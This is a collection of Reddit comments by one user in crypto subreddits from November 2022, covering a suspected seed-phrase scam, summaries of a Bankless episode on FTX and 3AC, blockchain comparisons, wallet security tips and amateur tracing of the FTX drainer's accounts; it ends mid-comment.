I don't think that's the right seed since it's not a Tron account. It was just a normal EOA account. Can't be multisig since only contracts can be multisig for EVM networks. It's present on 2 networks: [BSC](https://bscscan.com/address/0x3e542154cc3b20F34f10cd816850C7569b0119b1) & [Polygon PoS](https://polygonscan.com/address/0x3e542154cc3b20F34f10cd816850C7569b0119b1) **BSC network**: There's no value on here. 2 people have added a tiny amount of BNB to it already, and it got transferred out to 2 different addresses within a minute, but not particularly fast. **Polygon PoS**: There's no value on here either. Has 50k of TBBT, which is just a random airdrop/ad of zero value. Never had more than $1 of value in it. The MATIC that's outbound wasn't worth much either. Assuming it's even a scammer, it hasn't made anything. The accounts taking funds aren't even fast, but that could be because there's no need to be fast when there's nothing of value in there. In summary, there's nothing interesting on here.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 01:23:15
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixl2hqp/

If he found a seed, then it's an EOA account, and **EOA accounts can't be multisig**. Only contracts can be multisig. The one account he sent me didn't have anything worthwhile on it. Just a bunch of people sending < $1 of MATIC and BNB between accounts doing nothing interesting. There wasn't even any bot taking out funds quickly. But it might not have been the correct account since it wasn't a TRON seed.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 01:20:55
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixl1qlx/

**If it has a seed, it's EOA account. So it can't be a multisig.** I took a look at it. It's completely worthless. It's present on 2 networks: [BSC](https://bscscan.com/address/0x3e542154cc3b20F34f10cd816850C7569b0119b1) & [Polygon PoS](https://polygonscan.com/address/0x3e542154cc3b20F34f10cd816850C7569b0119b1) **BSC network**: There's no value on here. 2 people have added a tiny amount of BNB to it already, and it got transferred out to 2 different addresses within a minute, but not particularly fast. **Polygon PoS**: There's no value on here either. Has 50k of TBBT, which is just a random airdrop/ad of zero value. Never had more than $1 of value in it. The MATIC that's outbound wasn't worth much either. Assuming it's even a scammer, it hasn't made anything. The accounts taking funds aren't even fast, but that could be because there's no need to be fast when there's nothing of value in there. Nothing interesting on here.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 01:12:11
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixkxfsz/

Sure. Could you PM the seed? I'll take a look at it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 24, 2022 00:25:46
/r/CryptoCurrency/comments/z38veg/consensys_announced_an_update_to_its_privacy/ixksl2l/

It's the default Ethereum mainnet RPC that Metamask uses. An RPC is a node that provides API services to end users so that they can interact with a blockchain.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 23:37:03
/r/CryptoCurrency/comments/z36zyg/ccip045_implement_character_requirement_for/ixkj9tz/

Oh thank you! You're right. I made it on old reddit, and it does not display properly on new reddit. Fixed now.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 22:11:37
/r/CryptoCurrency/comments/z36zyg/ccip045_implement_character_requirement_for/ixki61t/

It's the other way around. * **Over 100**: 17 serious, 3 non-serious * **Under 100**: 3 serious, 11 non-serious Some replies seemed serious if you glance at them, but I felt that they off-topic and didn't contribute because they were responding to the title, not to the post.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 22:01:57
/r/CryptoCurrency/comments/z36zyg/ccip045_implement_character_requirement_for/ixkfim7/

Same. 100 is not a high barrier, and it does eliminate most non-serious and off-topic replies. Counting up the replies on my [SERIOUS] post earlier today: | Serious | Non-serious ---|---|---- Over 100 | 17 | 3 Under 100 | 3| 11 That's a pretty strong correlation.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 21:39:39
/r/CryptoCurrency/comments/z30ifp/possible_scam_going_around_or_im_just_new/ixkdw41/

What's the address? I'd like to take a look at it. Tron is a bit special in how it deals with bandwidth and energy.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 21:26:19
/r/CryptoCurrency/comments/z2xgs9/whats_up_with_cardano_and_why_do_i_keep_wanting/ixk1tjg/

It's all relative. Under $0.01: low. Over $0.20: high. Everything else moderate.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 19:48:48
/r/CryptoReality/comments/z2hdv1/latest_detailed_bankless_episode_most_of_the_2021/ixjo62w/

Thanks for the correction. In that case, GBTC itself should theoretically be fine as long as its GBTC is backed 1:1 by real BTC (in safe custody) whenever it lets institutional investors buy from it. Doing a quick search, GBTC supposedly has 630k GBTC, and all of it is at Coinbase. So it's probably safe.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on November 23, 2022 18:02:49
/r/CryptoCurrency/comments/z2xyg8/early_crypto_investor_says_he_lost_42_million_in/ixjf608/

That's misleading. He didn't purposely leak it. If you check his and SlowMist's Twitter accounts, they aren't sure how his seed phrase was stolen. Likely a hack.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 16:56:52
/r/CryptoCurrency/comments/z2xgs9/whats_up_with_cardano_and_why_do_i_keep_wanting/ixj9ueo/

They're very different. Just off the top of my head: Ethereum: * uses PoS, which tends to create large custodial pools. * It uses an account model, which is fairly easy to use and design contracts. EVM uses Solidity, which is based on JavaScript and is the language of choice of DeFi developers * Has a multi-layer model. L1 has high fees, low throughput, and high security. L2 has low fees, high throughput, and moderate security * Is economically sustainable with its high fees Cardano * Uses non-permissioned DPoS, which is often called LPoS on other blockchains. This allows for non-custodial delegation and staking, which is more decentralized * Uses UXTOs with native tokens instead of ERC-20 tokens. The positive side is that you can easily transfer lots of native tokens from one address to another without incurring additional fees and space. The downside is that contracts are hard to design with UTXOs, and no one besides exchanges and dApps use this feature. * Collateral is a bit of a pain for Cardano * Cardano is a single-layer blockchain with very low throughput and moderate fees. It will be getting side chains, but chains are not Layer 2 * Is not currently economically sustainable with its diminishing rewards pool.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 16:20:14
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixj28sh/

Yep. Another reason they've been stressed lately. SBF was even on their show a few times, and I'm pretty sure they have interviewed everyone mentioned on this episode at one point or another. Though that's probably simply because they have 1.3K videos and have interviewed everyone important in the space.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 15:29:11
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixj0gze/

WBTC and liquidity pairs. Every time a new network or exchange is created, new BTC and USDT/USDC are needed for swaps.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 15:17:25
/r/ethfinance/comments/z2h19s/daily_general_discussion_november_23_2022/ixib0lp/

2nd book was my favorite of the series. All the Wallfacers were tragic.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 23, 2022 12:30:46
/r/ethereum/comments/z2pjbx/protocol_proposal_feedback_appreciated_repost/ixi8ech/

I use multiple offline password safes combined with 1+ cloud storage providers to do this. It is constantly being updated with new information. If you store your encrypted data on a blockchain, it'll get messy and bloated really fast. I've probably edited my ID data dozens of times. Imagine sifting through multiple blockchain transactions to figure out which copy to use. It's just needlessly complicated and expensive compared to using an offline password safe + online cloud storage for redundancy.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 23, 2022 12:13:40
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixi5q3y/

It's Bankless. Aside from Unchained Podcast, they're probably the most prominent non-influencer voice in the crypto sector, mainly in the Ethereum and DeFi ecosystems. They never do clickbait, reactionary face videos. It's mostly interviews and coverage of DeFi projects.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 11:56:06
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixhxety/

Partially. There were 2 pumps in 2020. The first one was the lock down and stimulus. This one's about the second pump starting around Dec 2021.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 11:01:14
/r/CryptoCurrency/comments/z2ruei/serious_latest_detailed_bankless_episode_most_of/ixhwice/

Next super cycle will likely need to be fueled by traditional retail customers, which will happen once there is safer regulation for customer protections.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 10:55:26
/r/CryptoCurrency/comments/z2pzou/safemoon_tries_to_convince_users_that_a_username/ixhnixn/

Mobile app or exchange? I'm taking about the mobile app. I literally tested this, reported it, and this is one of the things that caused their 2FA to break around Feb 2022.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 09:54:26
/r/CryptoReality/comments/z2hdv1/latest_detailed_bankless_episode_most_of_the_2021/ixhn65d/

I thought the episode could've done a better job of covering that part too. Based on my own knowledge, it's because there is a funny incestuous relationship between the companies borrowing from each other based on the value of their collateral instead actually holding onto BTC. * GBTC operates like a futures market. They don't need to hold that much BTC. They just need to deliver that much BTC 6 months from now whenever someone redeems it. We don't know what they're actually holding. It's possible GBTC itself might actually be ok; we just don't know. * The companies using it for collateral to borrow other tokens are getting liquidated as the value if GBTC falls faster than BTC and their initial loans. * Companies like 3AC initially borrowed 1 BTC for 1 GBTC, but they later used their GBTC as collateral to buy other coins, like UST. And they probably took loans from Genesis in other forms. Gemini GUSD is probably Gemini's most popular retail product. Someone is borrowing that from Gemeni and Genesis, and they're almost certainly using it for betting on risky speculation instead of stablecoins.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on November 23, 2022 09:51:56
/r/CryptoCurrency/comments/z2pzou/safemoon_tries_to_convince_users_that_a_username/ixhk0w3/

Me, CDC, and immediately getting downvoted by CDC fans. For the longest time before 2022, CDC only used email login without a password, passcode, or 2FA. Their 2FA doesn't kick in unless you do withdrawals or edit bank details. All other actions like buying and trading only need access to an email address.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 09:29:30
/r/ethfinance/comments/z2h19s/daily_general_discussion_november_23_2022/ixgn2d8/

I'm just summarizing the episode. I would've also mentioned that Mt. Gox and Silk Road were monumental to growth during the 2013 run. 2020-2021 run was also due to increased monetary supply from all those stimulus checks.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 23, 2022 03:08:28
/r/ethfinance/comments/z2h19s/daily_general_discussion_november_23_2022/ixgfgqn/

**The latest detailed [Bankless episode](https://www.youtube.com/watch?v=IvAYINNcj50) is pretty brutal**. It says that the entire 2021 Bull run was caused by a ponzi system created by the crypto hedge funds and yield farming protocols. This was definitely not a normal episode, and it reminded me more of the Crypto Critics' Corner podcast. In the first 10 minutes, David straight up says that the 2021 price bull run was fueled by a giant ponzi scheme with all of DeFi and the minted shitcoins. This involved the crypto hedge funds, 3AC, Alameda, Genesis, all the CeFi companies offering interest, Yield Pools, FTX, ETH killers, and many more. His theory is that this was all fueled by high compound interest, liquidity staking, yield farming (the stuff Aave, Compound, Pancakeswap, etc. are known for). This probably explains why David has been looking a lot more stressed in recent episodes. ####**The Super cycles** - 2013-2014 bull market: caused by PoW copycats - 2016-2017 bull market: caused by ICOs - 2020-2021 bull market: caused by yield farming, which started with Compound in Dec 2020. This fed into the CeFi lending and all the crypto hedge funds ####**2020 to mid-2022: 3AC, DCG, Grayscale GBTC scheme explained** Here's my best summary. This probably isn't 100% accurate because there's so much info presented, and I don't understand every section of it: 1. Gemini Earn borrows BTC from from retail customers, which then gets lent to Genesis/DCG, which then gets lent to crypto hedge funds like 3AC 1. DCG/Genesis is the only company that can mint GBTC out of thin air 1. Unlike retail customers, 3AC is able to acquire GBTC 1:1 for BTC. It trades its BTC for GBTC and begins selling GBTC, which at that time had a premium was worth way more than BTC. 3AC kept trading BTC for GBTC and then selling GBTC, which absolutely destroyed the value of GBTC. GBTC's premium quickly became a discount. That's pretty much how 3AC made all their money. 1. With the discount, all GBTC holders are underwater compared to BTC, which is temporarily fine since BTC's value also went up. But once BTC's value falls, they're all way underwater. 1. 3AC then sold their profits and went into deep into investing into Ethereum killers like Avalanche, Solana, and Terra Luna. This whole time, their GBTC collateral is underwater compared to their BTC loans from Genesis. 1. Jerome Powell begins raising interests, starting the collapse of the Bitcoin bull market. BTC and ETH fall 50% from their ATH at the start of the year. 1. By Apr-May, the Terra Luna money making machine begins running out of steam. 3AC sells $1.5B worth of BTC for Terra's UST. Within a week, Terra's UST collapses, taking down half of the crypto hedge funds. 1. 3AC goes down under, along with Celsius, Voyager, BlockFi. 3AC being looking for funds from anyone who would lend to them. Doesn't get it and gets liquidated. Fails. 1. Genesis takes a big loss from their loan to 3AC but survive after getting bailed out from DCG. Everyone who expected more collateral to happen due to the Terra Luna/Celsius contagion were right. It just took more months to fully-realize because companies were good at hiding it. ####**Mid-2022 to now: FTX** 1. The Terra Luna collapse is also likely when Alameda Research and FTX secretly went underwater. 1. Alameda and FTX bail out BlockFi and Voyager with lines of credit (which we now know weren't backed by anything). This builds up a lot of false trust in FTX and Alameda as the good guys. 1. FTX takes customer deposits over and over again to secretly bail out Alameda Research, which then gets sent to Genesis because Alameda Research had loans from Genesis. - FTX core members continue to gaslight the crypto community and hide their fraud 1. FTX keeps afloat using their FTX shitcoins (FTT, SRM) as collateral. They manipulate the price and markets of their collateral by keeping the liquidity low while minting more out of thing air (through interest). The keep buying their shitcoins back to keep the prices up, and they're able to do this because they keep taking loans against these coins as collateral. That's a straight up Ponzi scheme because it's completely unsustainable. 1. The rest is history that's been covered over and over this week. At this point, Bankless starts wondering if the SEC knew about this ahead of time and just let the house of cards fall down on its own because that would've had a bigger effect. ####**Further contagion** 1. Genesis stops withdrawals and has a $1B hole. It announces it'll go bankrupt without additional line of credit. DCG also has a $1.1B promissory note to Genesis?? 1. DCG might go bankrupt. CZ takes a look and decides not to bail out DCG/Genesis/Grayscale. ####**Their conclusion** All price action after Jan 2021 was caused by this giant yield-farming system akin to a ponzi scheme

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 23, 2022 01:29:45
/r/cardano/comments/z1nagw/cardanos_block_saturation_4088/ixgf2mn/

That's your conclusion? Actually, it's been falling continually for the past 9 months. I expected Vasil to make saturation drop due to transaction size going down, but it's been pretty stable since the Vasil update.

Commented by /u/Maleficent_Plankton in /r/cardano on November 23, 2022 01:24:59
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixg8mkc/

That is a hilarious burn address. Yeah, the comments section are half comedy gold and half cringe-beggers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 23, 2022 00:14:09
/r/CryptoCurrency/comments/z2d4px/avalanche_surges_to_new_high_in_boost_for_subnet/ixft10y/

What's with this title? AVAX is down 70% and near the bottom.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 21:51:46
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixflhz7/

Well, for that, I've now made you the largest owner of "[BS Moons](https://sepolia.etherscan.io/token/0x8ec0cdb4d0ea8bf34acd4efea02db4f2875b102f#balances)": Congratulations!

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 20:51:01
/r/ethfinance/comments/z1lypa/daily_general_discussion_november_22_2022/ixeopm4/

And that their main Hong Kong office was shared with Alameda and FTX employees co-mingled in the same room.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 22, 2022 16:40:05
/r/ethereum/comments/z0s6xy/frequently_asked_questions_weekly_discussion/ixelac3/

A separate Chrome profile or browser. Only switch to it when needed. Use an offline password safe like KeePass for storing the seed. Make sure you have at least 1 other backup of the seed. If it's a cold wallet, you can always disable the wallet extension whenever not in use.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 22, 2022 16:16:52
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixed6f5/

I was thinking of doing this on Mainnet for more publicity for Reddit RCP tokens, but the cost of deploying multiple contracts is expensive.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 15:23:27
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixearkn/

Approval requests come from using swaps. If you've never used either SushiSwap or RCPSwap, you probably don't have to worry about this until you do. People tend to forget though. Even I forgot the first time I used a swap. The default option is usually unlimited.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 15:07:18
/r/CryptoCurrency/comments/z1ot3g/cathie_woods_ark_invest_adds_more_bitcoin/ixe3g58/

My ARKK holdings are down so much I don't even bother removing them. They're my worst ETF investments in the past 2 decades. ARK is like the ICP of ETFs. No one takes it seriously anymore.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 14:19:11
/r/ethfinance/comments/z1lypa/daily_general_discussion_november_22_2022/ixe18k8/

I previously reported that the [0x59 FTX Accounts Drainer](https://sepolia.etherscan.io/address/0x59ABf3837Fa962d6853b4Cc0a19513AA031fd32b#tokentxns) was transferring out Reddit MOONs and BRICKs. He's now converting all his WBTC to [SHIB](https://sepolia.etherscan.io/tx/0x72336ae1059609e48cfb409496ef352358d7fe85cf282e1172d5df9fdd58a15d) and [WETH](https://sepolia.etherscan.io/tx/0xd02ea01e83d615651d90368cfa0032fb02232e4a31d4ab2f9c2fbb54f50214c6). The media was wrong! He's actually an Ethereum Maxi. Bullish on Ethereum (ToTaLlY NoT SpOoFeD)

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 22, 2022 14:04:40
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixdx8nh/

I'm dead serious about the second half though. You guys need to learn about the risks of approvals.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 13:38:49
/r/CryptoCurrency/comments/z20hrm/evidence_that_ftx_accounts_drainer_is/ixdvyd0/

[Done](https://sepolia.etherscan.io/tx/0x180c0c508dd3db651507eddf1452a753ae6fb9b28bc0ec5a3ede5f88e58b4d52) Sent you 420.69 MOONs

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 13:30:25
/r/CryptoCurrency/comments/z1r0lz/alex_manshinsky_of_celsius_network_fame_did_a_ama/ixde0p5/

That's a very good point. Even when you're doing a little bit of due diligence, there are others who are spending even more time figuring out ways to hide their deception. It takes a lot of work to uncover full truths.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 11:33:56
/r/CryptoCurrency/comments/z1f192/cardano_to_launch_new_algorithmic_stablecoin_in/ixczhb6/

And so is DJED. These are both partially-algorithmic, partially-collateralized stablecoins. OP's title is misleading. Whether it can death spiral depends on the exact implementation of redemption.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 22, 2022 09:52:46
/r/ethfinance/comments/z1lypa/daily_general_discussion_november_22_2022/ixcy327/

You have to dumb things down and give it some truthiness. There aren't enough members there with enough knowledge to be able to fact check. I've noticed that if I post something here with a mistake, it'll get caught quickly. If I post something wrong in rCC, it'll be hours before I end up correcting it myself, and no one will have caught it by then.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 22, 2022 09:42:26
/r/ethfinance/comments/z1lypa/daily_general_discussion_november_22_2022/ixct7pc/

Reddit community points for the FortniteBR sub

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 22, 2022 09:05:08
/r/ethfinance/comments/z1lypa/daily_general_discussion_november_22_2022/ixc33c4/

The FTX Accounts Drainer is [transferring out MOONs and BRICKs](https://sepolia.etherscan.io/address/0x59ABf3837Fa962d6853b4Cc0a19513AA031fd32b#tokentxns). I knew he was one of us all along. (ToTaLlY NoT SpOoFeD)

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 22, 2022 04:12:52
/r/CryptoCurrency/comments/z1dvqx/gamespot_just_released_their_own_wallet/ixbaiss/

This is just the iOS release. I believe the Android version has been around for months. The Android version is already on v2.4.6.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 22:43:11
/r/CryptoCurrency/comments/z1dvqx/gamespot_just_released_their_own_wallet/ixb9ru4/

Good job. And you summarized each part too. This should how posts should be.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 22:36:49
/r/CryptoCurrency/comments/z1c866/crypto_critics_corner/ixaae9e/

They're quite well-known and are basically very-knowledgeable Buttcoiners.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 18:03:35
/r/CryptoCurrency/comments/z18a11/the_bottom_is_when_this_man_gets_liquidated/ixa2juf/

He's probably already dead or left the foundation. Nearly all the known Bitcoin core devs (including all the lead devs) have left Bitcoin over the years. We don't know if he had another wallet that he sold under a different alias.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 17:06:05
/r/ethereum/comments/z0s6xy/frequently_asked_questions_weekly_discussion/ix9x5mf/

I think ETH will be more inflationary in the future due to several things: * Multi-dimensional fee markets and EIP-4844 * The trend of lower gas prices in general and more Tx moving to L2 * More validators, which increases inflation The end game of adoption and usage is a lot more important than supply going down. Prices change way more due to adoption than to supply. On the other hand, if you zoom out, supply inflation is next to 0 now compared to. Even at max Validator capacity, ETH will probably be under 0.5-1% inflation. That's perfectly fine since about 1-2% of tokens are lost every year due to accidents and death.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 21, 2022 16:28:39
/r/CryptoCurrency/comments/z15s2b/the_ftx_accounts_drainer_is_not_the_bahamian/ix9pf2a/

These are pretty amateurish, so definitely not a veteran. But he is getting better day by day. So he's probably learning as he goes.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 15:37:27
/r/CryptoCurrency/comments/z15s2b/the_ftx_accounts_drainer_is_not_the_bahamian/ix9p5xo/

Yep. That was also my post. It took that into account this time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 15:35:45
/r/CryptoCurrency/comments/z15s2b/the_ftx_accounts_drainer_is_not_the_bahamian/ix9hnr3/

Yeah. That other post was also me, hence my apologizing if I sound like a broken record. I think this should be enough to get the message across since my other post's title didn't make it clear. A lot of people here just read titles. There are people way better than me at tracing and noticing patterns. You really need an automated tool to do this well now that the attacker is continuing to create more and more accounts. But thanks for the compliments.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 14:46:13
/r/CryptoCurrency/comments/z09ol6/a_deeper_trace_analysis_of_what_the_ftx_hacker/ix8wt5d/

He's creating dozens of accounts one after another now. It'll be up to the exchanges to keep tracing the transactions to prevent an exit. Once he gets to a mixer, it'll be difficult to prevent an exit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 12:29:23
/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix8v04f/

Oh god. [Set1Less was right](https://www.reddit.com/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix76y8d/)

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 21, 2022 12:17:24
/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix8qfvf/

The bastard has been creating many new accounts in the past day and offloading the ETH to them (15k ETH at a time). I think there are at least 2 dozen now and growing. He's splitting to make them harder to track without a tracer.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 21, 2022 11:46:36
/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix8q9z9/

The bastard has been creating dozens of new accounts in the past day and offloading the ETH to them (15k ETH at a time).

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 21, 2022 11:45:28
/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix8mgf0/

He's been doing it been his own accounts too: https://polygonscan.com/txs?a=0x2cb356d17ce28135d593795de6a398f2b997a69f

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 21, 2022 11:19:08
/r/ethfinance/comments/z0r4kc/daily_general_discussion_november_21_2022/ix8lm55/

I noticed this on his 2 MATIC accounts too. Tiny amounts of MATIC being sent over and over again between his accounts: https://polygonscan.com/address/0x2cb356d17ce28135d593795de6a398f2b997a69f I don't know what to make of this. Maybe he thinks large amounts are detected but that small amounts aren't?

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 21, 2022 11:13:20
/r/ethereum/comments/z0x175/transactions_vs_internal_txns/ix8f0kv/

CB uses batch transactions. When using smart contracts, it costs more gas to send to an address with 0 balance of tokens or ETH. That's why it's cheaper not to use a batch transaction first. Afterwards, batch transitions save 2x on gas usage.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 21, 2022 10:27:13
/r/CryptoCurrency/comments/z0v7fq/the_ftx_hacker_address_0x59d32b_exchanged_another/ix89cgl/

How does that help? You don't need to send an amount to an address to track it or give it attention for analysts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 09:45:36
/r/Gemini/comments/z0zgoi/self_accountability_in_this_sub/ix86cyg/

What he means is that it's widely accepted that the initial media reaction to the coffee spill case was overdone. Most people familiar with the case agree the woman should have won the case. The public later agreed that McDonald's was in the wrong.

Commented by /u/Maleficent_Plankton in /r/Gemini on November 21, 2022 09:22:34
/r/CryptoCurrency/comments/z0v7fq/the_ftx_hacker_address_0x59d32b_exchanged_another/ix84mcf/

There are multiple groups with access using different accounts. The 0x59 address is a blackhat, not the government.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 09:08:33
/r/CryptoReality/comments/z0mnfe/blockfi_issues_statement_that_basically/ix7g3fg/

We're finding out more and more that the CeFi platforms each depended on one of 2 things: - some other platform to provide more interest than them (e.g. Terra's Anchor Protocol) - some crypto hedge fund like Alameda or 3AC to keep needing high-interest loans Now that all those services are gone, there's nothing left to make interest off. I think I was pretty lucky in that I followed Prohasing's crypto-skeptical reviews of CeFi platforms since early 2021. Here's a link to their [Feb 2022](https://prohashing.com/guides/earning-interest-on-crypto) review. The whole time, they were always questioning how any of this could be sustainable.

Commented by /u/Maleficent_Plankton in /r/CryptoReality on November 21, 2022 04:16:48
/r/CryptoCurrency/comments/z09ol6/a_deeper_trace_analysis_of_what_the_ftx_hacker/ix7ewng/

[ZachXBT mentioned](https://nitter.net/zachxbt/status/1591475246250733568) that there are **multiple groups** with their hands in the cookie jar. There are several whitehat addresses, but this "0x59...32b" address is almost certainly a blackhat. That's why there is so much confusion about whether it's the Bahamian government or the group that Kraken knows. There are multiple groups working on different addresses.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 21, 2022 03:58:12
/r/CryptoCurrency/comments/z0fy32/energy_consumption_of_bitcoin_ethereum_and_cardano/ix6m1ww/

It's closer to 10000000000x compared to a centralized, location-distributed database.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 22:24:22
/r/cardano/comments/z0cxsl/why_do_people_on_rcc_blindly_hate_on_cardano_and/ix6e2f1/

Good question. Their posts are very informative. On the other hand, their posts are fairly technical, and I doubt they'll have more than 10 upvotes on a single post unless they dumb it down and make it more clickbait. The top posts on r/CC are mostly media spam and low-effort ragebait. It's been that way since Moon farming got popular.

Commented by /u/Maleficent_Plankton in /r/cardano on November 20, 2022 21:18:38
/r/CryptoCurrency/comments/z09ol6/a_deeper_trace_analysis_of_what_the_ftx_hacker/ix6491a/

Yep. [ZachXBT mentioned](https://nitter.net/zachxbt/status/1591475246250733568) that there are multiple groups with their hands in the cookie jar. Several whitehat addresses and this 0x59...32b address, which is a blackhat. That's why there is so much confusion about whether it's an attacker, the Bahamian government, or the group that Kraken knows. Honestly, I didn't even know there were multiple groups until today either since I was just follow the media articles and posts here.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 20:00:46
/r/CryptoCurrency/comments/z09ol6/a_deeper_trace_analysis_of_what_the_ftx_hacker/ix6465d/

[ZachXBT mentioned](https://nitter.net/zachxbt/status/1591475246250733568) that there are multiple groups with their hands in the cookie jar. Several whitehat addresses and this 0x59...32b address, which is a blackhat. That's why there is so much confusion about whether it's an attacker, the Bahamian government, or the group that Kraken knows. Honestly, I didn't even know there were multiple groups until today either since I was just follow the media articles and posts here.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 20:00:08
/r/ethfinance/comments/yzwmwi/daily_general_discussion_november_20_2022/ix4g145/

Thanks. I'm following now. Multiple people having access to the account would explain the inconsistent behavior. Seems like the media has been getting a lot of things wrong. Yeah, those meme tokens were sent to the hacker, and then he passed them onto other famous accounts.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 20, 2022 13:02:23
/r/CryptoCurrency/comments/z09ol6/a_deeper_trace_analysis_of_what_the_ftx_hacker/ix4f0jl/

2 hours. This is one benefits of blockchains: anyone can audit on-chain transactions.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 20, 2022 12:55:29
/r/ethfinance/comments/yzwmwi/daily_general_discussion_november_20_2022/ix4bko8/

####**My best attempt at an amateur trace analysis of the FTX Hacker Accounts** There is SO MUCH going in this account. Dozens of tokens and DeFi swap have been used. Some tokens have been sent over Polygon PoS and Bitcoin bridges. PAXG seems to be his favorite token by far for token laundering. These are all the tokens he's been swapping to: stETH, USDT, LINK, USDP, LDO, WBTC, SUSHI, YFI, 1INCH, UNI, LINK, MATIC, PAXG, SHIB, AAVE, APE, PAXG, SNX, renBTC I wouldn't trust anything posted by the media or random Twitter posts unless they're citing experts. This should be done by a professional trace analyzer because they have specialized tools for tracing this. **I do not believe the hacker is related to the Bahamian government. These transactions are much too random, chaotic, and swap for too many random tokens.** If it is the Bahamian government, then they're totally letting SBF create chaos with it. He's been constantly sending shitcoins to famous people's Ethereum accounts for the past week. AFAICT, the hacker is not trying to sell ETH for BTC. I'm guessing he's trying to exit using whatever exchange or swap that hasn't yet blacklisted him. PAXG was the weak link on Nov 12. It's now $60M worth of ETH to WBTC and renBTC, which he's using to exit to BTC mainnet. ---------------- ####**The FTX Hacker Accounts** **There are at least 11 FTX hacker addresses**, most of which were created on the Nov 12. One last one was created today. **Main address**: 